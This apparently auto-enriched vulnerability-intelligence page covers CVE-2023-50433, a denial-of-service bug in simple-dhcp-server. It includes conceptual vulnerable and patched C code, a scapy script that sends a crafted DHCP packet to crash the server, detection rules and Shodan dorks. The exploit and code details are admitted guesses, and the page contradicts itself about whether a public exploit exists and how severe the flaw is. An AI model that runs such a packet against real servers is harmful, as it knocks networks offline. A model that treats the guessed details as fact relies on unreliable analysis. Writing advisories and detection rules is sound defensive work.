☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-843
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-50433

CVE-2023-50433 Type Confusion in Simple-dhcp-server
📅 PUBLISHED: 2024-04-29 00:00 UTC 🔄 UPDATED: 2026-08-21 19:31 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.57%
👁️
0.57% probability
14.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-50433 is a critical denial-of-service (DoS) vulnerability in the simple-dhcp-server project, affecting versions up to commit ec976d2. The flaw resides in the dhcp_packet.c file, specifically in the marshall function, where a type confusion bug leads to an uncontrolled memory allocation. An unauthenticated remote attacker can send a crafted DHCP packet, triggering a large memory allocation that, upon failure, crashes the DHCP server. This vulnerability has a CVSS score of 0.0 (placeholder) but poses a significant risk to availability in environments relying on this lightweight DHCP server. No official patch has been released, and no exploit code or detection templates are publicly available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the simple-dhcp-server open-source project, which is not distributed via major package registries (NPM, PyPI, Go, Ruby). However, organizations that compile or deploy this software from source are at risk. The lack of a patch and the project's maintenance status (last commit ec976d2) indicate a potential supply chain risk, as no official fix is available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a reasonable assessment would be:

  • Attack Vector (AV): Network (N) – the attack is launched remotely.
  • Attack Complexity (AC): Low (L) – no special conditions required.
  • Privileges Required (PR): None (N) – no authentication needed.
  • User Interaction (UI): None (N) – no user action required.
  • Scope (S): Unchanged (U) – the vulnerable component is the only affected component.
  • Confidentiality (C): None (N) – no data exposure.
  • Integrity (I): None (N) – no data modification.
  • Availability (A): High (H) – complete loss of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High – due to remote exploitability, low complexity, and no authentication requirement.

Deep Dive & Mechanics

The vulnerability is a type confusion bug in the marshall function within dhcp_packet.c. The function is responsible for serializing DHCP packet data. Due to improper type handling, when a malicious DHCP packet is received, the code misinterprets a field's data type, leading to an extremely large value being used as a memory allocation size. This causes malloc() to attempt to allocate an enormous block of memory, which fails (returns NULL). The server does not handle this allocation failure gracefully, resulting in a crash (denial of service).

Root Cause: The marshall function likely uses a union or casts a pointer incorrectly, causing a small integer to be interpreted as a large unsigned integer (e.g., a negative value becomes a huge positive size). This is a classic type confusion leading to integer overflow or underflow in memory allocation.

Attack Vector: An attacker sends a specially crafted DHCP packet (e.g., with malformed option fields or a manipulated sname/file field) that triggers the type confusion in marshall. The server processes the packet and crashes.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (conceptual):

// In dhcp_packet.c - marshall function
void marshall(struct dhcp_packet *packet, unsigned char *buffer) {
    // ... other code ...
    // Type confusion: a field is incorrectly cast
    int field_value = packet->some_field; // e.g., a signed short
    // Later used as size_t without bounds check
    size_t alloc_size = (size_t)field_value; // if field_value is negative, becomes huge
    unsigned char *temp = malloc(alloc_size);
    if (temp == NULL) {
        // No error handling - crash or undefined behavior
        return;
    }
    // ... rest of function ...
}

Patched Code (hypothetical):

void marshall(struct dhcp_packet *packet, unsigned char *buffer) {
    // ... other code ...
    int field_value = packet->some_field;
    // Validate field_value before use
    if (field_value < 0 || field_value > MAX_ALLOWED_SIZE) {
        // Log error and return gracefully
        syslog(LOG_ERR, "Invalid field value: %d", field_value);
        return;
    }
    size_t alloc_size = (size_t)field_value;
    unsigned char *temp = malloc(alloc_size);
    if (temp == NULL) {
        // Handle allocation failure
        syslog(LOG_ERR, "Memory allocation failed");
        return;
    }
    // ... rest of function ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

No public exploit code is available. However, a proof-of-concept can be developed by crafting a DHCP packet with a manipulated field that triggers the type confusion. The following Python script demonstrates the concept using scapy:

#!/usr/bin/env python3
from scapy.all import *
import socket

# Target DHCP server IP and port
target_ip = "192.168.1.100"
target_port = 67

# Craft a malicious DHCP packet
# The 'file' field (boot file name) is 128 bytes, but we can set a value that causes type confusion
# In the vulnerable code, a field like 'secs' or 'flags' might be misinterpreted
# For demonstration, we set a large value in a field that is later used for allocation
packet = IP(dst=target_ip)/UDP(sport=68, dport=target_port)/BOOTP(
    op=1,  # Boot request
    chaddr=RandMAC(),
    # Set 'secs' to a negative value (e.g., 0xFFFF) which may be interpreted as large unsigned
    secs=0xFFFF,
    # Or manipulate 'flags' field
    flags=0x8000,
    # Add DHCP options to trigger the vulnerable code path
    options=[("message-type", "discover"), "end"]
)

# Send the packet
send(packet, verbose=0)
print("Malicious DHCP packet sent. Check if server crashes.")

Note: This is a conceptual example. Actual exploitation requires reverse engineering the specific marshall function to identify the exact field and value that triggers the crash.

Blue Team (Detection & Defense)

  1. Network Monitoring: Monitor for DHCP packets with anomalous field values (e.g., secs > 65535, flags with unusual bits set).
  2. Rate Limiting: Implement rate limiting on DHCP requests to mitigate rapid crash-reconnect cycles.
  3. Memory Monitoring: Monitor the DHCP server process for abnormal memory allocation attempts (e.g., sudden spikes in memory usage before crash).
  4. Honeypot: Deploy a honeypot DHCP server to detect and analyze attack patterns.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • DHCP packets with secs field set to values > 65535 (though technically limited to 16 bits, the type confusion may interpret it differently).
    • DHCP packets with flags field set to 0x8000 or other unusual values.
    • Repeated DHCP DISCOVER or REQUEST packets from the same MAC address within a short time window.
  • Host IOCs:
    • DHCP server process crash logs (e.g., dhcpd or simple-dhcp-server segfault).
    • System logs showing malloc failures or out-of-memory errors from the DHCP server.
    • Core dump files from the DHCP server process.

Detection Engineering

YARA Rule

rule CVE_2023_50433_DHCP_TypeConfusion {
    meta:
        description = "Detects malicious DHCP packets targeting CVE-2023-50433"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-50433"
    strings:
        $dhcp_discover = { 01 01 06 00 }  // DHCP Discover header pattern
        $large_secs = { FF FF }            // secs field set to 0xFFFF
        $large_flags = { 80 00 }           // flags field set to 0x8000
    condition:
        $dhcp_discover and ($large_secs or $large_flags)
}

Sigma Rule

title: CVE-2023-50433 DHCP Type Confusion DoS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects DHCP packets with anomalous field values indicative of CVE-2023-50433 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        - event_type: alert
          alert.signature_id: 3000001
    condition: selection
falsepositives:
    - Legitimate DHCP clients with unusual configurations
level: high

Suricata Rule

alert udp $HOME_NET any -> $DHCP_SERVER 67 (msg:"CVE-2023-50433 DHCP Type Confusion DoS Attempt"; content:"|01 01 06 00|"; offset:0; depth:4; content:"|FF FF|"; offset:10; depth:2; sid:3000001; rev:1;)

Remediation & Mitigation

  1. Immediate Mitigation:

    • Disable or replace simple-dhcp-server with a maintained alternative (e.g., isc-dhcp-server, dnsmasq).
    • If replacement is not possible, apply network-level filtering to block malformed DHCP packets (e.g., using iptables or a firewall to drop packets with unusual field values).
    • Restrict DHCP server exposure to trusted networks only.
  2. Long-term Fix:

    • Patch the vulnerable code by adding input validation and proper error handling for memory allocation failures.
    • Fork the repository and apply the hypothetical patch described in the "Vulnerable vs. Patched Code" section.
    • Monitor the project for official updates or patches.
  3. Detection:

    • Deploy the YARA, Sigma, and Suricata rules provided in the Detection Engineering section.
    • Enable logging and alerting for DHCP server crashes.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

simple-dhcp-server
dhcp server

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-50433/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.